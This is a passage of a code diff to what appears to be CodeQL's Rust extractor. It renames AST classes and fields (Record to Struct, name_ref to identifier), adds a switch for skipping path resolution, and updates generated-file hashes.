@@ -297,4 +300,5 @@ pub(crate) fn path_to_file_id(path: &Path, vfs: &Vfs) -> Option<FileId> {
         .and_then(|x| AbsPathBuf::try_from(x).ok())
         .map(VfsPath::from)
         .and_then(|x| vfs.file_id(&x))
+        .map(|(id, _excluded)| id)
 }
diff --git a/rust/extractor/src/translate.rs b/rust/extractor/src/translate.rs
index 4e9cda3e2aa1..c74652628f8c 100644
--- a/rust/extractor/src/translate.rs
+++ b/rust/extractor/src/translate.rs
@@ -2,4 +2,4 @@ mod base;
 mod generated;
 mod mappings;
 
-pub use base::Translator;
+pub use base::{ResolvePaths, Translator};
diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs
index 9c8e919e5aa0..584d1d0be5cd 100644
--- a/rust/extractor/src/translate/base.rs
+++ b/rust/extractor/src/translate/base.rs
@@ -4,23 +4,22 @@ use crate::rust_analyzer::FileSemanticInformation;
 use crate::trap::{DiagnosticSeverity, TrapFile, TrapId};
 use crate::trap::{Label, TrapClass};
 use itertools::Either;
-use ra_ap_base_db::ra_salsa::InternKey;
-use ra_ap_base_db::CrateOrigin;
+use ra_ap_base_db::{CrateOrigin, EditionedFileId};
 use ra_ap_hir::db::ExpandDatabase;
 use ra_ap_hir::{
     Adt, Crate, ItemContainer, Module, ModuleDef, PathResolution, Semantics, Type, Variant,
 };
-use ra_ap_hir_def::type_ref::Mutability;
 use ra_ap_hir_def::ModuleId;
+use ra_ap_hir_def::type_ref::Mutability;
 use ra_ap_hir_expand::ExpandTo;
-use ra_ap_ide_db::line_index::{LineCol, LineIndex};
 use ra_ap_ide_db::RootDatabase;
+use ra_ap_ide_db::line_index::{LineCol, LineIndex};
 use ra_ap_parser::SyntaxKind;
-use ra_ap_span::{EditionedFileId, TextSize};
+use ra_ap_span::TextSize;
 use ra_ap_syntax::ast::HasName;
 use ra_ap_syntax::{
-    ast, AstNode, NodeOrToken, SyntaxElementChildren, SyntaxError, SyntaxNode, SyntaxToken,
-    TextRange,
+    AstNode, NodeOrToken, SyntaxElementChildren, SyntaxError, SyntaxNode, SyntaxToken, TextRange,
+    ast,
 };
 
 #[macro_export]
@@ -53,13 +52,13 @@ macro_rules! emit_detached {
     (PathExpr, $self:ident, $node:ident, $label:ident) => {
         $self.extract_path_canonical_destination(&$node, $label.into());
     };
-    (RecordExpr, $self:ident, $node:ident, $label:ident) => {
+    (StructExpr, $self:ident, $node:ident, $label:ident) => {
         $self.extract_path_canonical_destination(&$node, $label.into());
     };
     (PathPat, $self:ident, $node:ident, $label:ident) => {
         $self.extract_path_canonical_destination(&$node, $label.into());
     };
-    (RecordPat, $self:ident, $node:ident, $label:ident) => {
+    (StructPat, $self:ident, $node:ident, $label:ident) => {
         $self.extract_path_canonical_destination(&$node, $label.into());
     };
     (TupleStructPat, $self:ident, $node:ident, $label:ident) => {
@@ -86,6 +85,12 @@ macro_rules! dispatch_to_tracing {
     };
 }
 
+#[derive(Copy, Clone, PartialEq, Eq)]
+pub enum ResolvePaths {
+    Yes,
+    No,
+}
+
 pub struct Translator<'a> {
     pub trap: TrapFile,
     path: &'a str,
@@ -93,6 +98,7 @@ pub struct Translator<'a> {
     line_index: LineIndex,
     file_id: Option<EditionedFileId>,
     pub semantics: Option<&'a Semantics<'a, RootDatabase>>,
+    resolve_paths: ResolvePaths,
 }
 
 const UNKNOWN_LOCATION: (LineCol, LineCol) =
@@ -105,6 +111,7 @@ impl<'a> Translator<'a> {
         label: Label<generated::File>,
         line_index: LineIndex,
         semantic_info: Option<&FileSemanticInformation<'a>>,
+        resolve_paths: ResolvePaths,
     ) -> Translator<'a> {
         Translator {
             trap,
@@ -113,6 +120,7 @@ impl<'a> Translator<'a> {
             line_index,
             file_id: semantic_info.map(|i| i.file_id),
             semantics: semantic_info.map(|i| i.semantics),
+            resolve_paths,
         }
     }
     fn location(&self, range: TextRange) -> Option<(LineCol, LineCol)> {
@@ -139,7 +147,7 @@ impl<'a> Translator<'a> {
         if let Some(semantics) = self.semantics.as_ref() {
             let file_range = semantics.original_range(node.syntax());
             let file_id = self.file_id?;
-            if file_id == file_range.file_id {
+            if file_id.file_id(semantics.db) == file_range.file_id {
                 Some(file_range.range)
             } else {
                 None
@@ -390,9 +398,9 @@ impl<'a> Translator<'a> {
     }
 
     fn canonical_path_from_hir_module(&self, item: Module) -> Option<String> {
-        if let Some(block_id) = ModuleId::from(item).containing_block() {
-            // this means this is a block module, i.e. a virtual module for a block scope
-            return Some(format!("{{{}}}", block_id.as_intern_id()));
+        if ModuleId::from(item).containing_block().is_some() {
+            // this means this is a block module, i.e. a virtual module for an anonymous block scope
+            return None;
         }
         if item.is_crate_root() {
             return Some("crate".into());
@@ -417,7 +425,7 @@ impl<'a> Translator<'a> {
                 }
             }
             ItemContainer::Module(it) => self.canonical_path_from_hir_module(it),
-            ItemContainer::ExternBlock() | ItemContainer::Crate(_) => Some("".to_owned()),
+            ItemContainer::ExternBlock(..) | ItemContainer::Crate(..) => Some("".to_owned()),
         }?;
         Some(format!("{prefix}::{name}"))
     }
@@ -500,6 +508,9 @@ impl<'a> Translator<'a> {
         item: &T,
         label: Label<generated::Addressable>,
     ) {
+        if self.resolve_paths == ResolvePaths::No {
+            return;
+        }
         (|| {
             let sema = self.semantics.as_ref()?;
             let def = T::Hir::try_from_source(item, sema)?;
@@ -520,6 +531,9 @@ impl<'a> Translator<'a> {
         item: &ast::Variant,
         label: Label<generated::Variant>,
     ) {
+        if self.resolve_paths == ResolvePaths::No {
+            return;
+        }
         (|| {
             let sema = self.semantics.as_ref()?;
             let def = sema.to_enum_variant_def(item)?;
@@ -540,6 +554,9 @@ impl<'a> Translator<'a> {
         item: &impl PathAst,
         label: Label<generated::Resolvable>,
     ) {
+        if self.resolve_paths == ResolvePaths::No {
+            return;
+        }
         (|| {
             let path = item.path()?;
             let sema = self.semantics.as_ref()?;
@@ -560,6 +577,9 @@ impl<'a> Translator<'a> {
         item: &ast::MethodCallExpr,
         label: Label<generated::MethodCallExpr>,
     ) {
+        if self.resolve_paths == ResolvePaths::No {
+            return;
+        }
         (|| {
             let sema = self.semantics.as_ref()?;
             let resolved = sema.resolve_method_call_fallback(item)?;
diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs
index dc4828e078f9..9f8e52e0a454 100644
--- a/rust/extractor/src/translate/generated.rs
+++ b/rust/extractor/src/translate/generated.rs
@@ -385,10 +385,10 @@ impl Translator<'_> {
     }
 
     pub(crate) fn emit_asm_reg_spec(&mut self, node: ast::AsmRegSpec) -> Option<Label<generated::AsmRegSpec>> {
-        let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x));
+        let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x));
         let label = self.trap.emit(generated::AsmRegSpec {
             id: TrapId::Star,
-            name_ref,
+            identifier,
         });
         self.emit_location(label, &node);
         emit_detached!(AsmRegSpec, self, node, label);
@@ -426,7 +426,7 @@ impl Translator<'_> {
     pub(crate) fn emit_assoc_type_arg(&mut self, node: ast::AssocTypeArg) -> Option<Label<generated::AssocTypeArg>> {
         let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(x));
         let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x));
-        let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x));
+        let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x));
         let param_list = node.param_list().and_then(|x| self.emit_param_list(x));
         let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x));
         let return_type_syntax = node.return_type_syntax().and_then(|x| self.emit_return_type_syntax(x));
@@ -436,7 +436,7 @@ impl Translator<'_> {
             id: TrapId::Star,
             const_arg,
             generic_arg_list,
-            name_ref,
+            identifier,
             param_list,
             ret_type,
             return_type_syntax,
@@ -801,13 +801,13 @@ impl Translator<'_> {
     pub(crate) fn emit_extern_crate(&mut self, node: ast::ExternCrate) -> Option<Label<generated::ExternCrate>> {
         if self.should_be_excluded(&node) { return None; }
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
-        let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x));
+        let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x));
         let rename = node.rename().and_then(|x| self.emit_rename(x));
         let visibility = node.visibility().and_then(|x| self.emit_visibility(x));
         let label = self.trap.emit(generated::ExternCrate {
             id: TrapId::Star,
             attrs,
-            name_ref,
+            identifier,
             rename,
             visibility,
         });
@@ -835,13 +835,13 @@ impl Translator<'_> {
     pub(crate) fn emit_field_expr(&mut self, node: ast::FieldExpr) -> Option<Label<generated::FieldExpr>> {
         if self.should_be_excluded(&node) { return None; }
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
-        let expr = node.expr().and_then(|x| self.emit_expr(x));
-        let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x));
+        let container = node.expr().and_then(|x| self.emit_expr(x));
+        let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x));
         let label = self.trap.emit(generated::FieldExpr {
             id: TrapId::Star,
             attrs,
-            expr,
-            name_ref,
+            container,
+            identifier,
         });
         self.emit_location(label, &node);
         emit_detached!(FieldExpr, self, node, label);
@@ -1477,14 +1477,14 @@ impl Translator<'_> {
         let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(x));
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
         let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x));
-        let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x));
+        let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x));
         let receiver = node.receiver().and_then(|x| self.emit_expr(x));
         let label = self.trap.emit(generated::MethodCallExpr {
             id: TrapId::Star,
             arg_list,
             attrs,
             generic_arg_list,
-            name_ref,
+            identifier,
             receiver,
         });
         self.emit_location(label, &node);
@@ -1659,11 +1659,11 @@ impl Translator<'_> {
 
     pub(crate) fn emit_path(&mut self, node: ast::Path) -> Option<Label<generated::Path>> {
         let qualifier = node.qualifier().and_then(|x| self.emit_path(x));
-        let part = node.segment().and_then(|x| self.emit_path_segment(x));
+        let segment = node.segment().and_then(|x| self.emit_path_segment(x));
         let label = self.trap.emit(generated::Path {
             id: TrapId::Star,
             qualifier,
-            part,
+            segment,
         });
         self.emit_location(label, &node);
         emit_detached!(Path, self, node, label);
@@ -1700,14 +1700,14 @@ impl Translator<'_> {
 
     pub(crate) fn emit_path_segment(&mut self, node: ast::PathSegment) -> Option<Label<generated::PathSegment>> {
         let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x));
-        let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x));
+        let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x));
         let parenthesized_arg_list = node.parenthesized_arg_list().and_then(|x| self.emit_parenthesized_arg_list(x));
         let ret_type = node.ret_type().and_then(|x| self.emit_ret_type(x));
         let return_type_syntax = node.return_type_syntax().and_then(|x| self.emit_return_type_syntax(x));
         let label = self.trap.emit(generated::PathSegment {
             id: TrapId::Star,
             generic_arg_list,
-            name_ref,
+            identifier,
             parenthesized_arg_list,
             ret_type,
             return_type_syntax,
@@ -1798,126 +1798,128 @@ impl Translator<'_> {
         Some(label)
     }
 
-    pub(crate) fn emit_record_expr(&mut self, node: ast::RecordExpr) -> Option<Label<generated::RecordExpr>> {
+    pub(crate) fn emit_record_expr(&mut self, node: ast::RecordExpr) -> Option<Label<generated::StructExpr>> {
         let path = node.path().and_then(|x| self.emit_path(x));
-        let record_expr_field_list = node.record_expr_field_list().and_then(|x| self.emit_record_expr_field_list(x));
-        let label = self.trap.emit(generated::RecordExpr {
+        let struct_expr_field_list = node.record_expr_field_list().and_then(|x| self.emit_record_expr_field_list(x));
+        let label = self.trap.emit(generated::StructExpr {
             id: TrapId::Star,
             path,
-            record_expr_field_list,
+            struct_expr_field_list,
         });
         self.emit_location(label, &node);
-        emit_detached!(RecordExpr, self, node, label);
+        emit_detached!(StructExpr, self, node, label);
         self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens());
         Some(label)
     }
 
-    pub(crate) fn emit_record_expr_field(&mut self, node: ast::RecordExprField) -> Option<Label<generated::RecordExprField>> {
+    pub(crate) fn emit_record_expr_field(&mut self, node: ast::RecordExprField) -> Option<Label<generated::StructExprField>> {
         if self.should_be_excluded(&node) { return None; }
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
         let expr = node.expr().and_then(|x| self.emit_expr(x));
-        let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x));
-        let label = self.trap.emit(generated::RecordExprField {
+        let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x));
+        let label = self.trap.emit(generated::StructExprField {
             id: TrapId::Star,
             attrs,
             expr,
-            name_ref,
+            identifier,
         });
         self.emit_location(label, &node);
-        emit_detached!(RecordExprField, self, node, label);
+        emit_detached!(StructExprField, self, node, label);
         self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens());
         Some(label)
     }
 
-    pub(crate) fn emit_record_expr_field_list(&mut self, node: ast::RecordExprFieldList) -> Option<Label<generated::RecordExprFieldList>> {
+    pub(crate) fn emit_record_expr_field_list(&mut self, node: ast::RecordExprFieldList) -> Option<Label<generated::StructExprFieldList>> {
         if self.should_be_excluded(&node) { return None; }
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
         let fields = node.fields().filter_map(|x| self.emit_record_expr_field(x)).collect();
         let spread = node.spread().and_then(|x| self.emit_expr(x));
-        let label = self.trap.emit(generated::RecordExprFieldList {
+        let label = self.trap.emit(generated::StructExprFieldList {
             id: TrapId::Star,
             attrs,
             fields,
             spread,
         });
         self.emit_location(label, &node);
-        emit_detached!(RecordExprFieldList, self, node, label);
+        emit_detached!(StructExprFieldList, self, node, label);
         self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens());
         Some(label)
     }
 
-    pub(crate) fn emit_record_field(&mut self, node: ast::RecordField) -> Option<Label<generated::RecordField>> {
+    pub(crate) fn emit_record_field(&mut self, node: ast::RecordField) -> Option<Label<generated::StructField>> {
         if self.should_be_excluded(&node) { return None; }
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
+        let default = node.expr().and_then(|x| self.emit_expr(x));
         let name = node.name().and_then(|x| self.emit_name(x));
         let type_repr = node.ty().and_then(|x| self.emit_type(x));
         let visibility = node.visibility().and_then(|x| self.emit_visibility(x));
-        let label = self.trap.emit(generated::RecordField {
+        let label = self.trap.emit(generated::StructField {
             id: TrapId::Star,
             attrs,
+            default,
             name,
             type_repr,
             visibility,
         });
         self.emit_location(label, &node);
-        emit_detached!(RecordField, self, node, label);
+        emit_detached!(StructField, self, node, label);
         self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens());
         Some(label)
     }
 
-    pub(crate) fn emit_record_field_list(&mut self, node: ast::RecordFieldList) -> Option<Label<generated::RecordFieldList>> {
+    pub(crate) fn emit_record_field_list(&mut self, node: ast::RecordFieldList) -> Option<Label<generated::StructFieldList>> {
         let fields = node.fields().filter_map(|x| self.emit_record_field(x)).collect();
-        let label = self.trap.emit(generated::RecordFieldList {
+        let label = self.trap.emit(generated::StructFieldList {
             id: TrapId::Star,
             fields,
         });
         self.emit_location(label, &node);
-        emit_detached!(RecordFieldList, self, node, label);
+        emit_detached!(StructFieldList, self, node, label);
         self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens());
         Some(label)
     }
 
-    pub(crate) fn emit_record_pat(&mut self, node: ast::RecordPat) -> Option<Label<generated::RecordPat>> {
+    pub(crate) fn emit_record_pat(&mut self, node: ast::RecordPat) -> Option<Label<generated::StructPat>> {
         let path = node.path().and_then(|x| self.emit_path(x));
-        let record_pat_field_list = node.record_pat_field_list().and_then(|x| self.emit_record_pat_field_list(x));
-        let label = self.trap.emit(generated::RecordPat {
+        let struct_pat_field_list = node.record_pat_field_list().and_then(|x| self.emit_record_pat_field_list(x));
+        let label = self.trap.emit(generated::StructPat {
             id: TrapId::Star,
             path,
-            record_pat_field_list,
+            struct_pat_field_list,
         });
         self.emit_location(label, &node);
-        emit_detached!(RecordPat, self, node, label);
+        emit_detached!(StructPat, self, node, label);
         self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens());
         Some(label)
     }
 
-    pub(crate) fn emit_record_pat_field(&mut self, node: ast::RecordPatField) -> Option<Label<generated::RecordPatField>> {
+    pub(crate) fn emit_record_pat_field(&mut self, node: ast::RecordPatField) -> Option<Label<generated::StructPatField>> {
         if self.should_be_excluded(&node) { return None; }
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
-        let name_ref = node.name_ref().and_then(|x| self.emit_name_ref(x));
+        let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x));
         let pat = node.pat().and_then(|x| self.emit_pat(x));
-        let label = self.trap.emit(generated::RecordPatField {
+        let label = self.trap.emit(generated::StructPatField {
             id: TrapId::Star,
             attrs,
-            name_ref,
+            identifier,
             pat,
         });
         self.emit_location(label, &node);
-        emit_detached!(RecordPatField, self, node, label);
+        emit_detached!(StructPatField, self, node, label);
         self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens());
         Some(label)
     }
 
-    pub(crate) fn emit_record_pat_field_list(&mut self, node: ast::RecordPatFieldList) -> Option<Label<generated::RecordPatFieldList>> {
+    pub(crate) fn emit_record_pat_field_list(&mut self, node: ast::RecordPatFieldList) -> Option<Label<generated::StructPatFieldList>> {
         let fields = node.fields().filter_map(|x| self.emit_record_pat_field(x)).collect();
         let rest_pat = node.rest_pat().and_then(|x| self.emit_rest_pat(x));
-        let label = self.trap.emit(generated::RecordPatFieldList {
+        let label = self.trap.emit(generated::StructPatFieldList {
             id: TrapId::Star,
             fields,
             rest_pat,
         });
         self.emit_location(label, &node);
-        emit_detached!(RecordPatFieldList, self, node, label);
+        emit_detached!(StructPatFieldList, self, node, label);
         self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens());
         Some(label)
     }
@@ -2431,7 +2433,7 @@ impl Translator<'_> {
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
         let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x));
         let name = node.name().and_then(|x| self.emit_name(x));
-        let record_field_list = node.record_field_list().and_then(|x| self.emit_record_field_list(x));
+        let struct_field_list = node.record_field_list().and_then(|x| self.emit_record_field_list(x));
         let visibility = node.visibility().and_then(|x| self.emit_visibility(x));
         let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x));
         let label = self.trap.emit(generated::Union {
@@ -2439,7 +2441,7 @@ impl Translator<'_> {
             attrs,
             generic_param_list,
             name,
-            record_field_list,
+            struct_field_list,
             visibility,
             where_clause,
         });
@@ -2511,14 +2513,14 @@ impl Translator<'_> {
     pub(crate) fn emit_variant(&mut self, node: ast::Variant) -> Option<Label<generated::Variant>> {
         if self.should_be_excluded(&node) { return None; }
         let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect();
-        let expr = node.expr().and_then(|x| self.emit_expr(x));
+        let discriminant = node.expr().and_then(|x| self.emit_expr(x));
         let field_list = node.field_list().and_then(|x| self.emit_field_list(x));
         let name = node.name().and_then(|x| self.emit_name(x));
         let visibility = node.visibility().and_then(|x| self.emit_visibility(x));
         let label = self.trap.emit(generated::Variant {
             id: TrapId::Star,
             attrs,
-            expr,
+            discriminant,
             field_list,
             name,
             visibility,
diff --git a/rust/extractor/src/translate/mappings.rs b/rust/extractor/src/translate/mappings.rs
index 6ad8a7d1df6f..3068e5cea52e 100644
--- a/rust/extractor/src/translate/mappings.rs
+++ b/rust/extractor/src/translate/mappings.rs
@@ -1,6 +1,6 @@
 use ra_ap_hir::{Enum, Function, HasContainer, Module, Semantics, Struct, Trait, Union};
 use ra_ap_ide_db::RootDatabase;
-use ra_ap_syntax::{ast, ast::RangeItem, AstNode};
+use ra_ap_syntax::{AstNode, ast, ast::RangeItem};
 
 pub(crate) trait TextValue {
     fn try_get_text(&self) -> Option<String>;
diff --git a/rust/extractor/src/trap.rs b/rust/extractor/src/trap.rs
index d118b04b7162..ce739e067f0a 100644
--- a/rust/extractor/src/trap.rs
+++ b/rust/extractor/src/trap.rs
@@ -74,7 +74,7 @@ macro_rules! trap_key {
         $(
             key.push_str(&$x.as_key_part());
         )*
-        $crate::TrapId::Key(key)
+        trap::TrapId::Key(key)
     }};
 }
 
@@ -123,7 +123,7 @@ impl<T: TrapClass> From<Label<T>> for trap::Arg {
 }
 
 pub struct TrapFile {
-    path: PathBuf,
+    pub path: PathBuf,
     pub writer: Writer,
     compression: Compression,
 }
@@ -171,6 +171,26 @@ impl TrapFile {
         );
     }
 
+    pub fn emit_file_only_location<E: TrapClass>(
+        &mut self,
+        file_label: Label<generated::File>,
+        entity_label: Label<E>,
+    ) {
+        let location_label = extractor::location_label(
+            &mut self.writer,
+            trap::Location {
+                file_label: file_label.as_untyped(),
+                start_line: 0,
+                start_column: 0,
+                end_line: 0,
+                end_column: 0,
+            },
+        );
+        self.writer.add_tuple(
+            "locatable_locations",
+            vec![entity_label.into(), location_label.into()],
+        );
+    }
     pub fn emit_diagnostic(
         &mut self,
         severity: DiagnosticSeverity,
diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list
index c8195b8a7664..61529b8b6cc5 100644
--- a/rust/ql/.generated.list
+++ b/rust/ql/.generated.list
@@ -1,4 +1,4 @@
-lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 8ae91a389c7f4b080b1031c003c00c84f479438990be69035d8175ea97a47814 7dc9f38a3d04b6be54e39cf4ea0eac1d8f2a293982be76aaf1cd1649bd54aea0
+lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll d1cc3cfc9ae558b1cb473e3bfca66e5c424445b98ce343eb6f3050321fe4f8a0 8d00e385230b45360bc6281af01e0f674c58117593fd1b3cb7eb0c8a45517542
 lib/codeql/rust/elements/Abi.qll 4c973d28b6d628f5959d1f1cc793704572fd0acaae9a97dfce82ff9d73f73476 250f68350180af080f904cd34cb2af481c5c688dc93edf7365fd0ae99855e893
 lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be
 lib/codeql/rust/elements/ArgList.qll 661f5100f5d3ef8351452d9058b663a2a5c720eea8cf11bedd628969741486a2 28e424aac01a90fb58cd6f9f83c7e4cf379eea39e636bc0ba07efc818be71c71
@@ -43,6 +43,7 @@ lib/codeql/rust/elements/ConstArg.qll f37b34417503bbd2f3ce09b3211d8fa71f6a954970
 lib/codeql/rust/elements/ConstBlockPat.qll a25f42b84dbeb33e10955735ef53b8bb7e3258522d6d1a9068f19adaf1af89d9 eeb816d2b54db77a1e7bb70e90b68d040a0cd44e9d44455a223311c3615c5e6e
 lib/codeql/rust/elements/ConstParam.qll 248db1e3abef6943326c42478a15f148f8cdaa25649ef5578064b15924c53351 28babba3aea28a65c3fe3b3db6cb9c86f70d7391e9d6ef9188eb2e4513072f9f
 lib/codeql/rust/elements/ContinueExpr.qll 9f27c5d5c819ad0ebc5bd10967ba8d33a9dc95b9aae278fcfb1fcf9216bda79c 0dc061445a6b89854fdce92aaf022fdc76b724511a50bb777496ce75c9ecb262
+lib/codeql/rust/elements/Crate.qll 37e8d0daa7bef38cee51008499ee3fd6c19800c48f23983a82b7b36bae250813 95eb88b896fe01d57627c1766daf0fe859f086aed6ca1184e1e16b10c9cdaf37
 lib/codeql/rust/elements/DynTraitTypeRepr.qll 5953263ec1e77613170c13b5259b22a71c206a7e08841d2fa1a0b373b4014483 d4380c6cc460687dcd8598df27cad954ef4f508f1117a82460d15d295a7b64ab
 lib/codeql/rust/elements/Element.qll 0b62d139fef54ed2cf2e2334806aa9bfbc036c9c2085d558f15a42cc3fa84c48 24b999b93df79383ef27ede46e38da752868c88a07fe35fcff5d526684ba7294
 lib/codeql/rust/elements/Enum.qll 2f122b042519d55e221fceac72fce24b30d4caf1947b25e9b68ee4a2095deb11 83a47445145e4fda8c3631db602a42dbb7a431f259eddf5c09dccd86f6abdd0e
@@ -53,7 +54,7 @@ lib/codeql/rust/elements/ExternCrate.qll 54e93a9ec560d72dc0f0269b42b237f21abbf37
 lib/codeql/rust/elements/ExternItem.qll c39bbae40fa569d3d84a10045d7eeced3db85e6cb7147f7a7065c5b484f890a1 bc56d6db3d05dbc552927d004328fbe399960711c920ef6b47f6faaa1a541183
 lib/codeql/rust/elements/ExternItemList.qll bc96f188970e8dc0cd1e77dea3e49b715edf6392539add5744cb1b396064a3b0 d1270d50448b36947372e86337a3efb5ed416c77aac709f6421d4d2f06999a7a
 lib/codeql/rust/elements/FieldExpr.qll 8102cd659f9059cf6af2a22033cfcd2aae9c35204b86f7d219a05f1f8de54b3b f818169dddf5102095ae1410583615f80031376a08b5307d0c464e79953c3975
-lib/codeql/rust/elements/FieldList.qll bd243adc4696c60f636055a1c2da28039fe2028476c9247eb6a68003b849b757 ab63cdf410afd1e515f873b49f46bb5c2bf27e6c78fd206ccbdba064c4c0a4b2
+lib/codeql/rust/elements/FieldList.qll 7c0a34860ed0929e93ced5486045a0573b90a8b7603558fe098e03c105fba92f 6e81a2004e3dca49942c889a7f49c8b3ce3061546fbdc21aa536a8a18e1151f0
 lib/codeql/rust/elements/FnPtrTypeRepr.qll 25a88a8445b4abfaf7c95fcef03db5328aa81e35cebe56516bdda01380f0a69e 0a77d08b6b2d63e7a037f366b6dffd5006e975a8af2424af60a4f9ad74d441ba
 lib/codeql/rust/elements/ForExpr.qll 0cc8bfe10b8baf62a1ff65c8463cfb17ab64b41c30c9e1edb962a227df2036d9 b1be73294e6da0f49fd32177ad0b05fecf26081d5ce424f288be99a4bd59cc84
 lib/codeql/rust/elements/ForTypeRepr.qll dc4e00cd23606df93d753f2ca6862b55a10c722a7e952bb2e11b494738d2a3d2 ca169d2faca3baab3720086f7b2de5c26f55faf2dbab958298377ad65f73949b
@@ -66,7 +67,7 @@ lib/codeql/rust/elements/Function.qll 61fafe4bc91c997e9fb64f2770fc6682d333c61df3
 lib/codeql/rust/elements/GenericArg.qll 5f11ce0e3c5f08de84db61f56ba1b984652455ba6b95a8b8a5b5a235913d4072 756b6a73d66fde45bdcc65ce2362a5b1391af2927e6d54b6550b3ecd5fd11e75
 lib/codeql/rust/elements/GenericArgList.qll dcf274db517b0e8f19e4545d77f86cdd4066ff2805e68c808d0bb5750b49f569 1055a82929e850264e501b367ef4d314a3e6bb8943ec95f4284d157fb4d0092f
 lib/codeql/rust/elements/GenericParam.qll b58448b808d6dfa05db9574f54c22ce51f0b1d78784263c75a95d6bfc787067d 4afbab71fe717d7d7d3e2f60ea8c3d97bcb29b17b4efb79eabfe8f070edcb9bb
-lib/codeql/rust/elements/GenericParamList.qll 91d6f8cab06d7a3c53cfc714698a04c867867536705f03ed37b135e9e87f78c8 d1d88c31f712ca7ea83b6bf61466710069f2fbdfa40499321686e2867b99b35f
+lib/codeql/rust/elements/GenericParamList.qll 25fcaa68bc7798d75974d12607fae0afc7f84d43091b2d0c66a504095ef05667 3b71115c6af0b8e7f84d8c2d5ac9f23595ad2b22dbd19a9ea71906ca99340878
 lib/codeql/rust/elements/IdentPat.qll ad5f202316d4eeee3ca81ea445728f4ad7eb6bb7d81232bc958c22a93d064bf2 7ce2772e391e593d8fd23b2b44e26d0d7e780327ec973fcc9dce52a75fda0e36
 lib/codeql/rust/elements/IfExpr.qll f62153e8098b3eb08b569d4e25c750bc686665651579db4bc9e11dcef8e75d63 55006a55d612f189e73caa02f7b4deda388c692f0a801cdda9f833f2afdca778
 lib/codeql/rust/elements/Impl.qll 6407348d86e73cdb68e414f647260cb82cb90bd40860ba9c40248d82dcba686c f60e07c8731185f7aa9c792a40c120669920d95f5400658de102b4a3ce30dd10
@@ -128,14 +129,6 @@ lib/codeql/rust/elements/PrefixExpr.qll 107e7bd111b637fd6d76026062d54c2780760b96
 lib/codeql/rust/elements/PtrTypeRepr.qll 2eb2b6f6e5858a10fa1b10d85400ed6db781339bf152162a2fd33213c1ce083b bb99c2da04c80d3c14f47cda1feb9719af801d209becb3d9b20746a2a3b8fc02
 lib/codeql/rust/elements/RangeExpr.qll 43785bea08a6a537010db1138e68ae92eed7e481744188dfb3bad119425ff740 5e81cfbdf4617372a73d662a248a0b380c1f40988a5daefb7f00057cae10d3d4
 lib/codeql/rust/elements/RangePat.qll b5c0cfc84b8a767d58593fa7102dcf4be3ff8b02ba2f5360c384fa8af4aac830 cc28399dd99630bfa50c54e641a3833abe6643137d010a0a25749d1d70e8c911
-lib/codeql/rust/elements/RecordExpr.qll b8541a33ef408f2070103c1db8b6ec845bc6b1d8c810f5d8d208e5eeb9f86b30 a6d9602a64c9acf48f033f06fe7e1d86382512fd378ee3044f1126726847f696
-lib/codeql/rust/elements/RecordExprField.qll edac04146849e2aeca27e7bbb896c21aa2e2b15736b1e8a06ac51ab01433b3ac 7c062bd6d5dd5b1d972450fb0b3272cd9b45f94ccd668c3bd4347e2dce3279ed
-lib/codeql/rust/elements/RecordExprFieldList.qll 672c3854cb84090c8a2e9311c43448016dc2614ecbf86dbe404156304674e38f 01ae0ffca0bf640c61120e36fcf2c560555f4aabbd49ddce6f5c1a3561dbfc31
-lib/codeql/rust/elements/RecordField.qll 87d68aa912574596ba09ecb3ab437472635cd76eff49cd5bef00eaabbd264f08 01871ee4dd9bd02acd981fbc109abfa4ee1b303deaa148484476317c4c41c924
-lib/codeql/rust/elements/RecordFieldList.qll cebab3fba41221e61cda801070a7f414b62b4fbcf2206e35462c0da35ad75c3f db092d47eea871d61541b9711d7139a99394e0ed83901a8ae60f03dfa8ed722f
